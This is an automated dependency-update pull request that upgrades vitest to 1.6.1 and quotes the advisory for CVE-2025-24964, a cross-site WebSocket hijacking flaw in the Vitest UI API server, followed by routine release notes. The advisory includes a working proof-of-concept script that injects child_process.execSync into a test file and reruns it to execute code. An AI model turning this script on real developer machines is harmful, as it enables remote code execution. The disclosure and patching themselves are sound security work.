chore(deps): update dependency vitest to v1.6.1 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
vitest (source)	1.3.1 -> 1.6.1

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.

// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

---

Release Notes

vitest-dev/vitest (vitest)

v1.6.1

Compare Source

   🐞 Bug Fixes

• backport https://github.com/vitest-dev/vitest/issues/7317 to v1 - by @​hi-ogawa in https://github.com/vitest-dev/vitest/pull/7319

    View changes on GitHub

v1.6.0

Compare Source

   🚀 Features

• Support standalone mode  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5565 (bdce0)
• Custom "snapshotEnvironment" option  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5449 (30f72)
• benchmark: Support comparing benchmark result  -  by @​hi-ogawa and @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5398 (f8d3d)
• browser: Allow injecting scripts  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5656 (21e58)
• reporter: Support includeConsoleOutput and addFileAttribute in junit  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5659 (2f913)
• ui: Sort items by file name  -  by @​btea in https://github.com/vitest-dev/vitest/issues/5652 (1f726)

   🐞 Bug Fixes

• Keep order of arguments for .each in custom task collectors  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5640 (7d57c)
• Call resolveId('vitest') after buildStart  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5646 (f5faf)
• Hash the name of the file when caching  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5654 (c9e68)
• Don't panic on empty files in node_modules  -  by @​sheremet-va (40c29)
• Use toJSON for error serialization  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5526 (19a21)
• coverage:
  • Exclude *.test-d.* by default  -  by @​MindfulPol in https://github.com/vitest-dev/vitest/issues/5634 (bfe8a)
  • Apply vite-node's wrapper only to executed files  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5642 (c9883)
• vm:
  • Support network imports  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5610 (103a6)

   🏎 Performance

• Improve performance of forks pool  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5592 (d8304)
• Unnecessary rpc call when coverage is disabled  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5658 (c5712)

    View changes on GitHub

v1.5.3

Compare Source

   🐞 Bug Fixes

• Use package.json name for a workspace project if not provided  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5608 (48fba)
• Backport jest iterable equality within object  -  by @​sukovanej in https://github.com/vitest-dev/vitest/issues/5621 (30e5d)
• browser: Support benchmark  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5622 (becab)
• reporter: Use default error formatter for JUnit  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5629 (20060)

    View changes on GitHub

v1.5.2

Compare Source

   🐞 Bug Fixes

• Check for null before storing in weakmap  -  by @​sheremet-va (ce368)

    View changes on GitHub

v1.5.1

Compare Source

   🚀 Features

• api: startVitest() to accept stdout and stdin  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5493 (780b1)
  • This is listed as a feature, but it doesn't increase the minor version because startVitest API is experimental and doesn't follow semver.

   🐞 Bug Fixes

• Close vite servers on all resolved projects  -  by @​surc54 in https://github.com/vitest-dev/vitest/issues/5544 (413ec)
• Fix default import.meta.env.PROD: false  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5561 (9c649)
• Resolve cwd correctly when initiating projects  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5582 (ec9d7)
• Always run onTestFinished in reverse order  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5598 (23f29)
• browser:
  • Disable fileParallelism by default on browser pool  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5528 (5c69f)
  • Dispose tester iframe on done  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5595 (b2135)
• coverage:
  • Fix bundling of v8-to-istanbul  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5549 (df6a4)
  • Prevent crash when cleanOnRerun is disabled  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5540 (ea3c1)
  • thresholds to compare files relative to root  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5574 (80265)
• expect:
  • Fix toEqual and toMatchObject with circular references  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5535 (9e641)
• vitest:
  • Fix false positive file filter match with leading slash  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5578 (316eb)
  • Watch the output directory correctly  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5584 (e40f9)
  • StubEnv casts boolean on PROD/SSR/DEV  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5590 (4da88)

    View changes on GitHub

v1.5.0

Compare Source

v1.4.0

Compare Source

   🚀 Features

• Throw error when using snapshot assertion with not  -  by @​fenghan34 in https://github.com/vitest-dev/vitest/issues/5294 (b9d37)
• Add a flag to include test location in tasks  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5342 (d627e)
• cli:
  • Support wildcards in --project option  -  by @​fenghan34 in https://github.com/vitest-dev/vitest/issues/5295 (201bd)
• config:
  • Add shuffle.files and shuffle.tests options  -  by @​fenghan34 in https://github.com/vitest-dev/vitest/issues/5281 (356db)
  • Deprecate cache.dir option  -  by @​fenghan34 in https://github.com/vitest-dev/vitest/issues/5229 (d7e8b)
• coverage:
  • Support --changed option  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5314 (600b4)
• vitest:
  • Support clearScreen cli flag  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5241 (e1735)

   🐞 Bug Fixes

• Repeatable --project option  -  by @​fenghan34 in https://github.com/vitest-dev/vitest/issues/5265 (d1a06)
• --inspect-brk to pause before execution  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5355 (e77c5)
• Correct locations in test.each tasks  -  by @​sheremet-va (4f6e3)
• api:
  • Use resolvedUrls from devserver  -  by @​saitonakamura and @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5289 (2fef5)
• browser:
  • Add magic-string to optimizeDeps.include  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5278 (8f04e)
• coverage:
  • Expensive regexp hangs v8 report generation  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5259 (d68a7)
  • V8 to ignore type-only files  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5328 (c3eb8)
  • Respect source maps of pre-transpiled sources  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5367 (6eda4)
  • Prevent reportsDirectory from removing user's project  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5376 (07ec3)
• expect:
  • Show diff on toContain/toMatch assertion error  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5267 (8ee59)
• forks:
  • Wrap defines to support undefined values  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5284 (5b58b)
• typecheck:
  • Update get-tsconfig 4.7.3 to fix false circularity error  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5384 (bdc37)
• ui:
  • Escape html in error diff  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5325 (ab60b)
• vitest:
  • Loosen onConsoleLog return type  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5337 (6d1b1)
  • Ensure restoring terminal cursor on close  -  by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/5292 (0bea2)
  • Ignore timeout on websocket reporter rpc  -  by @​sheremet-va (38119)
  • Correctly override api with --no-api flag  -  by @​sheremet-va in https://github.com/vitest-dev/vitest/issues/5386 (51d1d)
  • Logs in beforeAll and afterAll  -  by @​fenghan34 in https://github.com/vitest-dev/vitest/issues/5288 (ce5ca)
• workspace:
  • Throw error when browser mode and @vitest/coverage-v8 are used  -  by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/5250 (29f98)

    View changes on GitHub

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